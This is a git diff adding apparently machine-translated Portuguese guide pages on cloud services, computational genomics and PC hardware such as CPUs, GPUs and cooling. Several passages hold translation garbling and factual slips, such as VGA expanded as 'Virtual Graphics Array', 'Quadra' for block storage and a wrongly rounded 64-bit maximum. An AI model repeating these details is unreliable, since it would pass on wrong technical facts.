\ No newline at end of file
diff --git a/client/src/guide/portuguese/cloud-development/cloud-storage/index.md b/client/src/guide/portuguese/cloud-development/cloud-storage/index.md
new file mode 100644
index 0000000000..ef2c8144f8
--- /dev/null
+++ b/client/src/guide/portuguese/cloud-development/cloud-storage/index.md
@@ -0,0 +1,28 @@
+---
+title: Cloud Storage
+localeTitle: Armazenamento na núvem
+---
+## ARMAZENAMENTO COMO SERVIÇO (StAAS)
+
+Quando usamos o armazenamento da nuvem, esse é o StAAS. Neste, o sistema em nuvem tem armazenamento e o usuário usa esse armazenamento em seu sistema e pode usá-lo para armazenar dados. O sistema em nuvem deve ter a capacidade de dimensionamento de armazenamento. Podemos integrar todo o armazenamento. Por exemplo, se tivermos vários pen-drives, podemos integrar todos os armazenamentos de pen drive em um único.
+
+Existem basicamente dois tipos de armazenamento
+
+1.  Objeto
+2.  Quadra
+
+### Armazenamento de Objetos
+
+*   Nós não podemos fazer uma partição no armazenamento em nuvem. Nós só podemos armazenar arquivos e pastas lá. Isso é chamado de armazenamento de objetos. Não podemos instalar o sistema operacional, pois não há partições.
+*   **Exemplo**
+    *   Google drive (mecanismo de cálculo do Google, GCE), OneDrive, caixa de depósito, Microsoft azure.
+    *   A Amazon tem seu próprio serviço de nuvem AWS. O S3 (Simple Storage Service, SSS) é o produto da amazon que fornece o StAAS. É uma nuvem pública. Qualquer um pode usar seus serviços.
+    *   O OpenStack é a maior nuvem privada. O OpenStack tem produto rápido (armazenamento de objetos).
+
+### Armazenamento em bloco
+
+*   Se conseguirmos fazer partições no armazenamento fornecido, poderemos instalar o sistema operacional. Temos um disco rígido e podemos fazer partições neles, esse tipo de armazenamento é conhecido como armazenamento em bloco.
+*   **Exemplo**
+    *   Bloqueie o serviço de armazenamento do AWS - EBS (Elastic Block Storage)
+    *   A nuvem oferece facilidade de armazenamento em escala que é a propriedade elástica da nuvem.
+    *   Bloquear armazenamento do OpenStack - Cinder
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cloud-development/firebase/index.md b/client/src/guide/portuguese/cloud-development/firebase/index.md
new file mode 100644
index 0000000000..35ffe00d9a
--- /dev/null
+++ b/client/src/guide/portuguese/cloud-development/firebase/index.md
@@ -0,0 +1,40 @@
+---
+title: Firebase
+localeTitle: Firebase
+---
+## Firebase
+
+![Firebase Logo](https://firebase.google.com/_static/558bc0d91d/images/firebase/lockup.png)
+
+### Visão geral
+
+O Firebase, em sua forma mais básica, foi adquirido pelo Google em outubro de 2014. Desde então, o Google adquiriu outras empresas que complementavam o produto original do Firebase. Essa seleção de ferramentas de software agora compõe a atual seleção de ferramentas do Firebase que são oferecidas atualmente.
+
+### Principais recursos do Firebase
+
+Os principais recursos do Firebase são agrupados em três categorias:
+
+1.  **desenvolve**
+    
+    *   Autenticação
+    *   Base de dados
+    *   Armazenamento
+    *   Hospedagem
+    *   Função
+    *   Laboratório de testes
+    *   Relatório de falhas
+    *   atuação
+2.  **Crescer**
+    
+    *   Notificações
+    *   Configuração Remota
+    *   Links Dinâmicos
+3.  **Ganhar**
+    
+    *   AdMob
+
+#### Mais Informações:
+
+*   [Firebase](https://firebase.google.com/)
+*   [Wikipedia](https://en.wikipedia.org/wiki/Firebase)
+*   [Aqui](https://firebase.google.com/docs/samples/) você encontra exemplos de como usar o Firebase em seus projetos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cloud-development/google-cloud-platform/index.md b/client/src/guide/portuguese/cloud-development/google-cloud-platform/index.md
new file mode 100644
index 0000000000..31ff1fe352
--- /dev/null
+++ b/client/src/guide/portuguese/cloud-development/google-cloud-platform/index.md
@@ -0,0 +1,23 @@
+---
+title: Google Cloud Platform
+localeTitle: Google Cloud Platform
+---
+## Google Cloud Platform
+
+O Google Cloud Platform, oferecido pelo Google, é um pacote de serviços de computação em nuvem que é executado na mesma infraestrutura que o Google usa internamente para seus produtos de usuário final, como a Pesquisa do Google e o YouTube. \[1\] Juntamente com um conjunto de ferramentas de gerenciamento, Ele fornece uma série de serviços em nuvem modulares, incluindo computação, armazenamento de dados, análise de dados e aprendizado de máquina.
+
+Alguns serviços da web famosos incluem
+
+*   Google Compute Engine - IaaS fornecendo máquinas virtuais.
+*   Google App Engine - PaaS para hospedagem de aplicativos.
+*   Bigtable - banco de dados NoSQL massivamente escalável de IaaS.
+*   Análise de banco de dados de grande escala do BigQuery - SaaS.
+*   Funções do Google Cloud - A partir de agosto de 2017, está em teste beta. FaaS fornecendo funções sem servidor para serem acionadas por eventos de nuvem.
+*   Google Cloud Datastore - DBaaS fornece um banco de dados orientado a documentos.
+*   Cloud Pub / Sub - um serviço para publicação e assinatura de fluxos de dados e mensagens. As aplicações podem se comunicar via Pub / Sub, sem integração direta entre os próprios aplicativos. \[5\]
+*   Armazenamento do Google - IaaS fornecendo arquivos on-line RESTful e armazenamento de objetos.
+
+#### Mais Informações:
+
+*   [Documentação do Google Cloud Platform](https://cloud.google.com/docs/)
+*   [Wikipedia](https://en.wikipedia.org/wiki/Google_Cloud_Platform)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cloud-development/heroku/index.md b/client/src/guide/portuguese/cloud-development/heroku/index.md
new file mode 100644
index 0000000000..5083e8df8c
--- /dev/null
+++ b/client/src/guide/portuguese/cloud-development/heroku/index.md
@@ -0,0 +1,11 @@
+---
+ title: Heroku
+localeTitle: Heroku
+---
+\## Heroku
+
+O Heroku é uma plataforma em nuvem como um serviço (PaaS) que suporta várias linguagens de programação que são usadas como um modelo de implantação de aplicativos da web. O Heroku, uma das primeiras plataformas de nuvem, está em desenvolvimento desde junho de 2007, quando suportava apenas a linguagem de programação Ruby, mas agora suporta Java, Node.js, Scala, Clojure, Python, PHP e Go. \[1\] \[ 2\] Por esse motivo, o Heroku é considerado uma plataforma poliglota, pois permite que o desenvolvedor crie, execute e dimensione aplicativos de maneira semelhante em todos os idiomas. Heroku foi adquirida pela Salesforce.com em 2010 por US $ 212 milhões
+
+#### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Heroku)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cloud-development/index.md b/client/src/guide/portuguese/cloud-development/index.md
new file mode 100644
index 0000000000..50ed9d9fb3
--- /dev/null
+++ b/client/src/guide/portuguese/cloud-development/index.md
@@ -0,0 +1,15 @@
+---
+title: Cloud Development
+localeTitle: Desenvolvimento em nuvem
+---
+## Desenvolvimento em nuvem
+
+O desenvolvimento em nuvem é o uso de práticas de engenharia de software em componentes de infraestrutura em um pool de recursos compartilhado. Isso pode ser feito de várias maneiras, dentro do próprio data center de sua empresa ou organização, ou em um datacenter compartilhado "público" de propriedade e operado por terceiros.
+
+As escolhas populares para os provedores de nuvem pública são o Amazon Web Services, o Microsoft Azure e o Google Compute Engine. Esses provedores operam clusters de datacenters em massa, nos quais milhares de indivíduos, empresas e organizações diferentes consomem esses recursos. Operar a nuvem envolve a ativação do particionamento desses recursos compartilhados para o uso desses diferentes usuários. O consumo dos recursos é rastreado (também chamado de medido) e depois faturado de volta para o usuário, dependendo do esquema financeiro diferente para os vários recursos de computação, rede e armazenamento consumidos.
+
+Muitos sites modernos e grandes esforços de dados seriam desenvolvidos na Nuvem, o que significa que eles estão operando em alguns desses enormes data centers compartilhados.
+
+#### Mais Informações:
+
+[Primeiros passos com a AWS](https://aws.amazon.com/getting-started/) [Documentação do Google Cloud](https://cloud.google.com/docs/) [Introdução ao Microsoft Azure](https://docs.microsoft.com/en-us/azure/guides/developer/azure-developer-guide) [Documentação do Firebase](https://firebase.google.com/docs/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cloud-development/oss-frameworks/index.md b/client/src/guide/portuguese/cloud-development/oss-frameworks/index.md
new file mode 100644
index 0000000000..2891810ca6
--- /dev/null
+++ b/client/src/guide/portuguese/cloud-development/oss-frameworks/index.md
@@ -0,0 +1,49 @@
+---
+title: Internet Applications
+localeTitle: Aplicações de Internet
+---
+## Aplicações de Internet
+
+![Camadas de tecnologia](https://upload.wikimedia.org/wikipedia/commons/9/9f/Linux_kernel_and_Computer_layers.png)
+
+### Visão geral
+
+Aplicativos da Internet são aplicativos habilitados ao conectar um dispositivo local a um servidor de aplicativos remoto ou serviços de nuvem. Os aplicativos da Internet são executados em desktops e thin clients, como dispositivos inteligentes e outros aparelhos de internet. Os desktops geralmente usam navegadores da web para facilitar uma conexão. Os dispositivos inteligentes usam um navegador da Web ou um 'aplicativo' dedicado ou Rich Internet Application. Aplicativos da Web são um tipo de aplicativo da Internet.
+
+### Pilha completa
+
+Aplicativos da Internet consistem em uma pilha completa de camadas. Às vezes, a pilha é dividida em duas partes ou camadas: o front end e o back-end. No entanto, a pilha é dividida, um aplicativo consiste em um software exclusivo para ele mesmo e um monte de software dependente. O software dependente consiste em bibliotecas e outros softwares que fornecem serviços.
+
+### Pilha Cheia como sistema de subsistemas
+
+Uma maneira útil de visualizar cada componente é como parte de um sistema de subsistemas, em que cada subsistema é um sistema de subsistemas. Como analogia, o corpo humano é um sistema de subsistemas. O corpo tem um subsistema imunológico, um subsistema digestivo, um subsistema nervoso, um subsistema esquelético, um subsistema muscular e similares. O sistema digestivo inclui o subsistema do fígado, também conhecido como "fígado", por exemplo. Cada subsistema é um sistema em sua própria área de atividade ou função.
+
+### Frente, fim, pilha
+
+O 'Front End' é o software exclusivo para o aplicativo que executa o trabalho em um dispositivo local. Um dispositivo local possui todos os componentes funcionais de um computador. aplicativos de software instalados em um sistema operacional em execução no hardware (ou hardware virtual em execução em hardware ou outro hardware virtual).
+
+### Back end da pilha
+
+O 'Back End' é o software exclusivo para o aplicativo que executa o trabalho em um servidor remoto. Um servidor remoto possui todos os componentes funcionais de um computador: aplicativos de software instalados em um sistema operacional em execução no hardware (ou hardware virtual em execução em hardware ou outro hardware virtual).
+
+### Tendência de aplicação para frente ou para trás
+
+Os aplicativos que procuram trabalhar de forma consistente em todos os dispositivos ou que exigem segurança no armazenamento e no acesso a dados tenderão a ter a maior parte da lógica de negócios no back-end. Isso ocorre porque o software no Front End está sujeito a muitos outros modos de ataque de agentes mal-intencionados, como vírus, malware e ameaças internas, conhecidas como "hackers internos". Além disso, os navegadores da Web padronizam a renderização do conteúdo da Web enviado ao Front End.
+
+Aplicativos que buscam velocidade e uso eficiente dos recursos do projeto movem o máximo possível de software para o Front End. Movendo recursos para o Front End, um projeto pode compartilhar seus recursos limitados de back-end com mais usuários finais.
+
+### Servidor de aplicação
+
+Um servidor de aplicativos ou uma estrutura de software fornece as principais dependências necessárias para um aplicativo da Internet.
+
+### Mais Informações:
+
+[Certificação de desenvolvimento de pilha completa FreeCodeCamp](https://guide.freecodecamp.org/meta/free-code-camp-full-stack-development-certification)
+
+[Aplicativo Rich Internet (Wikipedia.org)](https://en.wikipedia.org/wiki/Rich_Internet_application)
+
+[Framework de software (Wikipeida.org)](https://en.wikipedia.org/wiki/Software_framework)
+
+[Framework de Aplicação Web (Wikipedia.org)](https://en.wikipedia.org/wiki/Web_framework)
+
+[Servidor de aplicativos (Wikipedia.org)](https://en.wikipedia.org/wiki/Application_server)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cloud-development/rackspace-cloud/index.md b/client/src/guide/portuguese/cloud-development/rackspace-cloud/index.md
new file mode 100644
index 0000000000..49876fe1da
--- /dev/null
+++ b/client/src/guide/portuguese/cloud-development/rackspace-cloud/index.md
@@ -0,0 +1,9 @@
+---
+  title: Rackspace Cloud
+localeTitle: Nuvem Rackspace
+---
+\## Rackspace Cloud
+
+O Rackspace Cloud é um conjunto de produtos e serviços de computação em nuvem faturados em uma base de computação utilitária da empresa norte-americana Rackspace. As ofertas incluem hospedagem de aplicativos da Web ou plataforma como um serviço ("Cloud Sites"), Cloud Storage ("Cloud Files"), servidor virtual privado ("Cloud Servers"), balanceadores de carga, bancos de dados, backup e monitoramento. #### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Rackspace_Cloud)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computational-genomics/index.md b/client/src/guide/portuguese/computational-genomics/index.md
new file mode 100644
index 0000000000..0953f7f050
--- /dev/null
+++ b/client/src/guide/portuguese/computational-genomics/index.md
@@ -0,0 +1,15 @@
+---
+title: Computational Genomics
+localeTitle: Genômica computacional
+---
+# Genômica computacional
+
+Um novo campo especializado no desenvolvimento de novos algoritmos para estudar o genoma humano.
+
+Esta seção enfocará as várias estruturas de dados e algoritmos usados ​​e criados para essa finalidade, desde matrizes de sufixo até o alinhamento de seqüências.
+
+## Livros para ler
+
+Introdução à genômica computacional por Matthew W. Hahn
+
+Um ótimo livro inicial para iniciantes
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-hardware/cooling/index.md b/client/src/guide/portuguese/computer-hardware/cooling/index.md
new file mode 100644
index 0000000000..d4e8a62e02
--- /dev/null
+++ b/client/src/guide/portuguese/computer-hardware/cooling/index.md
@@ -0,0 +1,26 @@
+---
+title: Cooling Systems
+localeTitle: Sistemas de Refrigeração
+---
+Seu computador contém muitas partes que geram calor. O calor pode causar falhas prematuras e comportamentos erráticos. Quanto mais você overclock os gráficos ou a CPU, mais quente o computador será executado. Sistemas de refrigeração garantem que seu computador esteja estável e você estenda a vida útil de seu investimento.
+
+## Resfriamento de caixa
+
+O resfriamento de caixas pode ser uma combinação de um case bem ventilado e o uso de ventiladores para circular ar dentro do gabinete. A maioria dos casos vem com pelo menos um fã. Esta é a configuração mínima. Para melhores resultados, haja pelo menos dois fãs no case. Uma é como uma entrada para absorver ar frio enquanto a outra é uma exaustão para expelir o ar quente. Existem muitos tipos diferentes de fãs e configurações. O gerenciamento de cabos também desempenha um papel importante no resfriamento do sistema. Mau manejo de cabos e fios emaranhados interrompem o fluxo de ar e causam a acumulação de poeira dentro do gabinete.
+
+## Refrigeração de Componentes
+
+Dispositivos de resfriamento estão disponíveis para peças individuais no computador. Os dois mais comuns são coolers para CPU e placas gráficas. Geralmente, existem dois tipos de sistemas de refrigeração de componentes, ativos e passivos.
+
+*   Sistemas passivos - Geralmente consistem em um dissipador de calor ou um metal condutor de calor ligado ao componente. O resfriamento passivo funciona fornecendo uma superfície maior para absorver e dissipar o calor.
+*   Sistemas ativos - Adicione um ventilador ao dissipador de calor e você estará ativamente removendo o calor. A ventoinha de refrigeração pode ser ajustada dinamicamente para a carga da CPU ou da placa gráfica na maioria das placas-mãe.
+*   Refrigeração líquida - Computadores de alto desempenho podem se beneficiar de um sistema refrigerado a líquido. Estes tipos de sistemas circulam um líquido entre os componentes quentes e um radiador de resfriamento.
+
+## Considerações ambientais
+
+*   Mantenha-o limpo - A poeira pode entupir os ventiladores, dissipar o calor e agir como uma camada isolante que aprisiona o calor. Use ar comprimido para manter a poeira fora da cavidade interna.
+*   Case Covers - Ao contrário do que você lê na internet, manter as tampas do gabinete no computador ajuda no resfriamento. Ausência do caso cobre interrompe o fluxo de ar e pode realmente aumentar o calor dentro do gabinete. Ventilação da sala - Localize o computador onde ele está neutro para os registros ambientais da sala. Mantenha o computador longe de aquecedores de ambiente ou de ventiladores em todos os momentos.
+*   Posicionamento da sala - Localize o computador longe de janelas ou áreas de forte exposição solar. A colocação em armários também pode oferecer desafios ao resfriamento.
+*   Posicionamento próximo a outros computadores - A localização do computador longe de outros equipamentos permite que o ar entre e saia do computador. Colocação próxima a outro equipamento pode restringir o fluxo de ar e aumentar o calor.
+
+[Wikipedia - Artigo sobre resfriamento de computadores](https://en.wikipedia.org/wiki/Computer_cooling)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-hardware/cpu/index.md b/client/src/guide/portuguese/computer-hardware/cpu/index.md
new file mode 100644
index 0000000000..270bc9f037
--- /dev/null
+++ b/client/src/guide/portuguese/computer-hardware/cpu/index.md
@@ -0,0 +1,31 @@
+---
+title: CPU
+localeTitle: CPU
+---
+## CPU
+
+A Unidade Central de Processamento (CPU) serve como o "cérebro" de um computador, permitindo-lhe executar tarefas computacionais essenciais.
+
+CPUs são circuitos integrados, que são circuitos complexos embutidos em um único chip. Eles incluem registradores, que armazenam valores únicos e pinos de entrada / saída. Esses pinos permitem que eles falem com o resto do computador. Devido ao contínuo avanço da tecnologia da CPU, muitos computadores utilizam hoje uma unidade de multiprocessamento. Multiprocessadores são chips únicos que contêm duas ou mais CPUs ou "Núcleos" que permitem maior capacidade de processamento.
+
+As velocidades da CPU são medidas em gigahertz (GHz). Para cada gigahertz de velocidade, uma CPU pode executar um bilhão de instruções em um segundo. Essas instruções são muito simples, como "adicionar dois números" ou "mover essa variável para esse local". Para ver isso em ação, leia sobre o [assembly](https://en.wikipedia.org/wiki/Assembly_language) .
+
+Gigahertz não é o único fator determinante na velocidade real de um processador, já que diferentes processadores com a mesma velocidade gigahertz (também conhecida como velocidade de clock) podem executar tarefas reais em velocidades diferentes devido ao uso de diferentes conjuntos de instruções para executar essas tarefas. . Esses conjuntos de instruções são chamados de arquiteturas de CPU.
+
+As CPUs mais modernas usam uma arquitetura de 64 bits, o que significa que usam endereços de memória de 64 bits. CPUs mais antigas usavam arquiteturas de 32 bits, 16 bits e até 8 bits. O maior número que uma CPU de 64 bits pode armazenar é 18.446.744.073.709.552.000. Um CPPU precisa de endereços de memória para obter valores especificados da RAM. Se chamarmos o comprimento dos endereços de memória n, 2 ^ n é a quantidade de células de memória que uma CPU pode endereçar.
+
+Um ciclo de instrução para uma CPU é chamado de ciclo de busca e decodificação-execução, em que o computador recupera uma instrução de sua memória, determina qual instrução ela coletou e o que faz, e então executa as instruções mencionadas.
+
+Talvez o problema mais comum que afeta a CPU seja o resfriamento inadequado. CPUs são os principais geradores de calor em sistemas de computador. Devido à sua natureza, eles geralmente estão localizados sob o ventilador do computador. Existem várias maneiras de reduzir o calor em um computador, com os dois principais sistemas sendo ventiladores de ar ou sistemas de refrigeração líquida. A manutenção adequada do calor e o hardware adicional podem permitir que uma CPU adequadamente configurada tenha um desempenho melhor do que o avaliado pelo fabricante do chip (também conhecido como "Overclocking").
+
+**Função**
+
+Um microprocessador é um chip de silício contendo milhões de transistores microscópicos. Este chip funciona como o cérebro do computador. Ele processa as instruções ou operações contidas em programas de computador executáveis. Em vez de tirar instruções diretamente do disco rígido, o processador recebe suas instruções da memória. Isso aumenta muito a velocidade do computador.
+
+**Fabricantes de microprocessadores de computador**
+
+Existem dois fabricantes primários de microprocessadores de computador. A Intel e a Advanced Micro Devices (AMD) lideram o mercado em termos de velocidade e qualidade. As CPUs de desktop da Intel incluem Celeron, Pentium e Core. Os processadores para desktop da AMD incluem Sempron, Athlon e Phenom. A Intel fabrica processadores móveis Celeron M, Pentium M e Core para notebooks. A AMD produz versões móveis do Sempron e Athlon, além do processador móvel Turion, que vem nas versões Ultra e Dual-Core. Ambas as empresas produzem processadores single-core e multi-core.
+
+#### Mais Informações:
+
+[Wikipedia](https://en.wikipedia.org/wiki/Central_processing_unit)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-hardware/expansion-cards/index.md b/client/src/guide/portuguese/computer-hardware/expansion-cards/index.md
new file mode 100644
index 0000000000..faf8a281d8
--- /dev/null
+++ b/client/src/guide/portuguese/computer-hardware/expansion-cards/index.md
@@ -0,0 +1,13 @@
+---
+title: Expansion Cards
+localeTitle: Cartões de expansão
+---
+## Cartões de expansão
+
+O principal objetivo de um cartão de expansão é fornecer ou expandir os recursos não oferecidos pela placa-mãe. Por exemplo, o IBM PC original não tinha recursos gráficos ou de disco rígido integrados. Nesse caso, uma placa gráfica e uma placa controladora de disco rígido ST-506 ofereciam capacidade gráfica e interface de disco rígido, respectivamente. Alguns computadores de placa única não previam placas de expansão e só podiam fornecer soquetes de circuitos integrados (IC) na placa para alterações ou personalizações limitadas. Como os conectores multipinos confiáveis ​​são relativamente caros, alguns sistemas de mercado de massa, como computadores domésticos, não tinham slots de expansão e usavam um conector de borda de cartão na borda da placa principal, colocando o caro soquete correspondente no custo da periferia. dispositivo.
+
+No caso de expansão da capacidade on-board, uma placa-mãe pode fornecer uma única porta serial RS232 ou porta Ethernet. Uma placa de expansão pode ser instalada para oferecer várias portas RS232 ou múltiplas portas Ethernet de largura de banda. Neste caso, a placa-mãe oferece funcionalidade básica, mas a placa de expansão oferece portas adicionais ou aprimoradas. A placa de expansão mais comum usada atualmente é a placa grapics.
+
+#### Mais Informações:
+
+*   [Cartões de expansão](https://en.wikipedia.org/wiki/Expansion_card)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-hardware/gpu/index.md b/client/src/guide/portuguese/computer-hardware/gpu/index.md
new file mode 100644
index 0000000000..9e4934d884
--- /dev/null
+++ b/client/src/guide/portuguese/computer-hardware/gpu/index.md
@@ -0,0 +1,98 @@
+---
+title: GPU
+localeTitle: GPU
+---
+## GPU
+
+GPU significa Unidade de Processamento Gráfico. A maioria dos computadores os usa para renderizar vídeos ou jogar videogames.
+
+Uma GPU é como uma CPU, mas possui diferentes pontos fortes e fracos. As CPUs são muito boas em executar algumas tarefas muito rapidamente. GPUs são muito melhores em executar muitas tarefas ao mesmo tempo, mas mais lentas. Uma GPU típica pode ter mais de 10.000 tarefas em execução, mas para executar tantas tarefas ao mesmo tempo, elas precisam compartilhar memória e outros recursos. As GPUs geralmente executam várias tarefas repetitivas para evitar que a CPU perca tempo. Algumas CPUs têm GPUs internas, mas ter uma GPU separada é quase sempre mais poderosa.
+
+As GPUs podem ser usadas para computação e renderização de vídeo. Maneiras comuns de fazer isso incluem OpenACC, CUDA, OpenCL e OpenGL. Alguns aplicativos incluem implementações de GPU para reduzir o tempo que o aplicativo leva para ser executado.
+
+A GPU foi originalmente usada principalmente para renderização de jogos em 3D para melhorar sua resolução e framerate. Mas agora esses recursos estão sendo aproveitados de forma mais ampla para melhorar as cargas de trabalho computacionais em muitas áreas; por exemplo, modelagem financeira, pesquisa científica de ponta e exploração de petróleo e gás. As GPUs também são usadas como recurso para mineração de bitcoin, pois são capazes de executar tarefas repetitivas facilmente sem sobrecarregar os recursos da CPU, o que permite que você execute um Sistema Operacional no computador com uma CPU de baixo nível e ainda possa usar bitcoin usando a GPU
+
+Existem duas grandes marcas produzindo GPUs: NVidia e AMD. Eles são frequentemente referidos como "equipe verde" e "equipe vermelha", que indicam a cor principal de seu logotipo.
+
+Fabricantes notáveis ​​de GPUs incluem: Nvidia e AMD / ATI.
+
+## Origem da GPU
+
+O background mais primitivo da GPU pode ser mapeado para a era dos controladores VGA (Virtual Graphics Array). Mas estes não eram realmente uma unidade de processamento completa, mas atuavam como unidades de suporte para funções de exibição. Um controlador VGA é um controlador de memória simples conectado à RAM dinâmica e um gerador de exibição. A principal função de um VGA é receber dados de imagem, organizá-los adequadamente e enviá-los para um dispositivo de vídeo, que era principalmente um monitor de computador ou uma tela de TV conectada a um console de jogos para exibição.
+
+A primeira unidade de processamento completa para aceleração gráfica foi desenvolvida e comercializada pela NVIDIA em 1999, "GeForce 256". Os aceleradores 3D mais antigos precisavam confiar na CPU para executar cálculos gráficos. Com o novo "GeForce 256" como um co-processador para CPU, melhorou a taxa de quadros em mais de 50% e reduziu o custo total, expandindo-se assim no mercado de consumo.
+
+## GPU vs CPU
+
+Uma CPU é otimizada para latência mínima, ou seja, "para poder executar o maior número possível de instruções pertencentes a um único thread serial, em uma determinada janela de tempo". O processador deve ser capaz de alternar rapidamente entre as operações. Para obter muita latência na CPU, há muita infraestrutura na CPU, como grandes caches para que os dados fiquem prontamente disponíveis para execução, muitas Unidades de Controle para execuções fora de ordem e alguns núcleos de ALU. O ISA da CPU é projetado de maneira mais generalizada e pode executar uma ampla gama de operações. Enquanto a CPU foi projetada para cálculos e instruções de uso geral, a GPU evoluiu para cálculos gráficos. A mesma computação precisa ser executada em centenas e milhares de pixels para renderização 2D / 3D de gráficos. Assim, as GPUs foram otimizadas principalmente para o rendimento máximo. Isso é implementado usando toneladas de ALUs em uma única arquitetura. O cache L2 é encolhido porque, até que os dados sejam buscados a partir da DRAM, os núcleos da GPU têm muitos cálculos a serem executados, sobrepondo assim o tempo de inatividade da CPU com o paralelismo massivo. Isso é conhecido como ocultação de latência.
+
+## Evolução da arquitetura GPU
+
+As GPUs foram originalmente modeladas no conceito de pipeline de gráficos. O pipeline de gráficos é um modelo teórico, composto por níveis como os dados gráficos devem ser enviados e executados usando GPU e software (como OpenGL, DirectX). O pipeline basicamente converte coordenadas espaciais 3D em dados pixelizados 2D para o dispositivo exibir. A seguir, uma ilustração de "Pipeline de gráficos de função fixa tradicional", um pipeline comumente aceito até hoje.
+
+### 0ª geração
+
+A placa "Reality Engine" da Silicon Graphics Inc. (SGI) marcou o início do hardware da GPU e do pipeline gráfico. Mas a tecnologia ainda dependia da CPU no primeiro semestre. Além disso, a velocidade foi limitada a uma execução de pixel por ciclo de clock. O motor usa o OpenGL, uma programação de aplicativos 2D / 3D amplamente utilizada.
+
+### 1Geração
+
+O "3dfx Voodoo" (1996) evoluiu como um dos primeiros verdadeiros aceleradores 3D para jogos. Ele lidava com mapeamento de texturas, rasterização e z-buffering, mas a CPU ainda tinha que fazer transformações de vértices.
+
+### 2Geração
+
+Este é o ponto em que a primeira verdadeira GPU, a "GeForce 256" da NVIDIA, foi lançada no mercado comum. As GPUs da AGP (Accelerated Graphics Port) usada nesta geração ofereceram novas funções como multi-texturização, transformação de geometria de hardware, mapas de luz e iluminação. Os pipelines tradicionais eram conhecidos como pipeline de "função fixa", porque, quando o desenvolvedor enviava dados gráficos para o pipeline da GPU, os dados não podiam ser alterados.
+
+### 3ª geração
+
+Com esta geração de CPUs, pipelining programável passou a existir. Agora, as partes anteriormente não programáveis ​​podem ser programadas por programadores. Em 2001, a NVIDIA lançou o GeForce3.
+
+### 4ª geração
+
+Com o início do século 21, as primeiras "placas gráficas totalmente programáveis" chegaram aos consumidores. A NVIDIA GeForce FX e a ATI Radeon 9700 estavam entre as primeiras. Essas GPUs podem fazer operações por pixel, juntamente com pixel shaders e vértices programáveis. Mas, hardwares dedicados separados eram necessários para o processamento de shader de pixel e sombreamento de vértice.
+
+### 5ª geração
+
+As GPUs estavam evoluindo e avançando em sua taxa de pico e esta geração de GPUs foi a primeira a utilizar o barramento PCI Express. Vários buffers de renderização, suporte a 64 bits, acesso à textura, etc. foram introduzidos, juntamente com o aumento da memória da GPU.
+
+### 6ª geração
+
+Em 2006, o lançamento da GPU da série NVIDIA GeForce 8 revolucionou a indústria e o alcance da GPU, introduzindo a GPU como processadores massivamente paralelos. Foi o primeiro a ter shaders "unificados" e "programáveis" ou, em outras palavras, processador unificado programável. Unificado significa que todos os processos de pipeline de gráficos foram executados em um único processador e nenhuma unidade externa é necessária para qualquer estágio. Os componentes básicos da arquitetura GPU unificada são discutidos abaixo.
+
+Desde o lançamento das GPUs NVidia da série 9XX, o aumento de desempenho entre gerações só melhorou. Do 980Ti ao 1080Ti e ao recém-lançado 208Tis, o desempenho mais do que dobrou. A AMD também começou a produzir GPUs melhores, como o RX 580 e o Vega 64, embora isso ainda esteja longe do nível da Nvidia. Recentemente, a Nvidia lançou uma nova linha de GPUs intitulada RTX, que inclui as placas mais sofisticadas, como 2080Ti, 2080 e 2070. RTX significa "Ray Tracing", que é uma técnica de renderização usada na geração de imagens que traça o caminho da luz. em uma cena.
+
+## Componentes básicos da arquitetura GPU unificada
+
+As arquiteturas de GPU unificadas são baseadas em uma matriz paralela de muitos processadores programáveis, em que todos os estágios de pipeline de gráficos, viz, vértice, geometria, rasterização e processamento de sombreamento de pixel e cálculos paralelos no mesmo núcleo, em contraste com GPUs anteriores. O conjunto de processadores é altamente integrado com processadores de função fixos para compactação e descompactação, rasterização, operações de rasterização, filtragem de texturas, anti-aliasing, decodificação de vídeo e processamento de vídeo HD.
+
+A arquitetura discutida a seguir está focada na execução de muitos threads paralelos de maneira eficiente em muitos núcleos de processador.
+
+### Matriz do processador
+
+Um array de processadores consiste em muitos núcleos de processamento. Um array de processadores GPU unificado possui uma estrutura organizada típica de multiprocessadores multi-threaded. Para a execução de cada encadeamento, um multiprocessador é envolvido e, em cada multiprocessador de GPUs, também conhecido como Multiprocessadores de Fluxo (SM), há vários processadores de Fluxo, organizados em uma fila. Todos os processadores se conectam a partições DRAM via rede de interconexão.
+
+### Multi-Threading
+
+Como discutido anteriormente, a GPU é otimizada para alto rendimento e ocultação de latência. O multithreading de alta escala reduz a latência de cargas de memória da DRAM. Enquanto um encadeamento fica parado por causa de uma instrução load ou fetch para concluir, o processador pode executar outro encadeamento. Além disso, devido ao multithreading de alta escala, a GPU suporta modelos de programação de sombreamento de gráficos paralelos de baixa granularidade e modelos de programação paralela de computador refinado.
+
+### Arquitetura Multi-Processador
+
+Além de múltiplos núcleos de processador em um SM, há Unidades Funcionais Especiais, uma unidade de instrução multithread, caches de instrução e constantes, e uma memória compartilhada. Além disso, cada núcleo consiste em um grande arquivo de registro multi-threaded (RF). Cada núcleo do processador de streaming consiste em unidades aritméticas inteiras e de ponto flutuante, que juntas podem manipular a maioria das operações.
+
+### SIMT
+
+O multiprocessador de streaming usa uma arquitetura "single-instruction multiple-thread (SIMT)". As instruções são executadas no grupo de threads paralelas conhecidas como warps. Cada thread paralela é do mesmo tipo e inicia em conjunto no mesmo endereço do programa. A arquitetura do processador SIMT é bastante semelhante à arquitetura SIMD. No SIMT, uma instrução específica é executada em vários encadeamentos paralelos de forma independente, enquanto no SIMD, a mesma instrução é executada em várias faixas de dados em grupos síncronos.
+
+### Processador de Streaming
+
+Executa todas as operações FP fundamentais, bem como instruções aritméticas, de comparação, conversão e PTX lógicas. Unidade Funcional Especial Algumas das instruções de thread são executadas em SFUs simultaneamente com outras instruções de thread sendo executadas nos SPs.
+
+#### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Graphics_processing_unit)
+*   [OpenACC](https://www.openacc.org/)
